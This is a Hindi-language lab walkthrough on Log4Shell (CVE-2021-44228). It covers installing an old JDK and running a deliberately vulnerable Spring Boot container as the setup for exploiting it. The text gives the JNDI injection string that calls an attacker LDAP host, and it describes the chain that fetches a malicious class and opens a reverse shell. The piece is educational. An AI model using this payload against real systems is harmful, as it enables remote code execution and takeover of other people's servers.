# Log4Shell (CVE-2021-44228) को समझने और उसका शोषण करने के लिए व्यावहारिक प्रयोगशाला Docker, Kali Linux, Burp Suite और log4j-shell-poc का उपयोग करके Log4Shell (CVE-2021-44228) का शोषण और समझने के लिए व्यावहारिक प्रयोगशाला। केवल नियंत्रित प्रयोगशाला वातावरण में शिक्षण और रक्षात्मक प्रशिक्षण के लिए।
Log4Shell (CVE-2021-44228) अब तक खोजी गई सबसे प्रभावशाली रिमोट कोड निष्पादन भेद्यताओं में से एक है। यह Apache Log4j 2 को प्रभावित करता है, जो एक व्यापक रूप से उपयोग किया जाने वाला Java लॉगिंग फ्रेमवर्क है, और हमलावरों को लॉग संदेशों में JNDI लुकअप का दुरुपयोग करके मनमाना कोड निष्पादित करने की अनुमति देता है।
यह मार्गदर्शिका निम्नलिखित का उपयोग करके एक पूर्ण, पुनरुत्पादनीय प्रदर्शन प्रयोगशाला प्रदान करती है:
log4j-shell-pocयह केवल नियंत्रित वातावरणों में शिक्षण, अनुसंधान, प्रशिक्षण और रक्षात्मक जागरूकता के लिए डिज़ाइन किया गया है। संरचना और शैली साथी "Shellshock" प्रयोगशाला README के समान भावना का अनुसरण करते हैं।
poc.py को JDK 1.8.0_202 का उपयोग करने के लिए कॉन्फ़िगर करेंcurl के माध्यम से Log4Shell का शोषण करेंयह प्रयोगशाला केवल एक नियंत्रित वातावरण में की जानी चाहिए जहाँ आपके पास स्पष्ट प्राधिकरण हो (आपकी अपनी प्रयोगशाला, कक्षा VM, आदि)।
Log4Shell (CVE-2021-44228) Apache Log4j 2 में एक गंभीर RCE भेद्यता है।
समस्या इसलिए उत्पन्न होती है क्योंकि कमजोर Log4j2 संस्करण हमलावर-नियंत्रित स्ट्रिंग्स जैसे:
${jndi:ldap://ATTACKER_IP:1389/a}
की व्याख्या करते हैं।
जब यह स्ट्रिंग लॉग की जाती है, Log4j:
इस प्रयोगशाला में, आप:
log4j-shell-poc का उपयोग करके Kali पर एक दुर्भावनापूर्ण LDAP + HTTP सर्वर चलाएंगे।curl और Burp Suite के माध्यम से Log4Shell पेलोड वितरित करेंगे।इस प्रयोगशाला के अंत तक, आपको सक्षम होना चाहिए:
सभी घटक आपके मौजूदा आभासी प्रयोगशाला के शीर्ष पर चलते हैं। इस लेख के लिए हम मानते हैं:
| घटक | भूमिका / विवरण | उपकरण / सेवाएँ | उदाहरण पता |
|---|---|---|---|
| Kali Linux VM (हमलावर + होस्ट) | PoC शोषण, LDAP सर्वर, HTTP सर्वर, Netcat श्रोता, Burp Suite चलाता है | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (उदाहरण Kali IP) |
| कमजोर Log4j2 वेब अनुप्रयोग | लक्ष्य; Spring Boot वेब ऐप Log4Shell के लिए कमजोर | Docker छवि: ghcr.io/christophetd/log4shell-vulnerable-app | http://127.0.0.1:8080 पर उजागर |
मुख्य विचार
हमलावर इंजेक्ट करता है:
${jndi:ldap://192.168.1.4:1389/a}
एक HTTP हेडर में। कमजोर ऐप इसे Log4j2 का उपयोग करके लॉग करता है → 192.168.1.4:1389 पर एक JNDI LDAP लुकअप करता है → http://192.168.1.4:8000 से एक दुर्भावनापूर्ण वर्ग डाउनलोड करता है → वर्ग को निष्पादित करता है, जो 192.168.1.4:9001 पर वापस एक रिवर्स शेल खोलता है।
Kali पर आपको चाहिए:
nc)।इस पूरे मार्गदर्शिका में हम मानते हैं कि Kali IP है:
192.168.1.4
यदि आपका IP भिन्न है, तो सभी कमांड को तदनुसार समायोजित करें।
PoC Java SE 8 Update 202 (JDK 1.8.0_202) पर निर्भर करता है क्योंकि बाद के Java संस्करण इस शोषण द्वारा उपयोग किए जाने वाले रिमोट क्लास लोडिंग व्यवहार को प्रतिबंधित करते हैं।
भले ही Kali में पहले से OpenJDK 21 (या समान) हो, फिर भी आपको 8u202 को अलग से स्थापित करना होगा।
mkdir -p ~/Log4Shell
cd ~/Log4Shell
मिरर रूट:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Linux x64 tarball (≈185 MB) डाउनलोड करें:
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # लगभग 185M होना चाहिए
/usr/bin/jdk1.8.0_202 में निकालेंsudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1 विकल्प संग्रह से शीर्ष-स्तरीय निर्देशिका को हटाता है ताकि फ़ाइलें सीधे /usr/bin/jdk1.8.0_202 के अंतर्गत आ जाएँ।
/usr/bin/jdk1.8.0_202/bin/java -version
अपेक्षित आउटपुट:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
यदि आप यह देखते हैं, तो JDK 1.8.0_202 सही ढंग से स्थापित है।
Kali पर एक नए टर्मिनल में (आप ~/Log4Shell में रह सकते हैं):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
आपको इस प्रकार के लॉग दिखाई देने चाहिए:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ पर पहुंच योग्य है।त्वरित जाँच:
curl http://127.0.0.1:8080/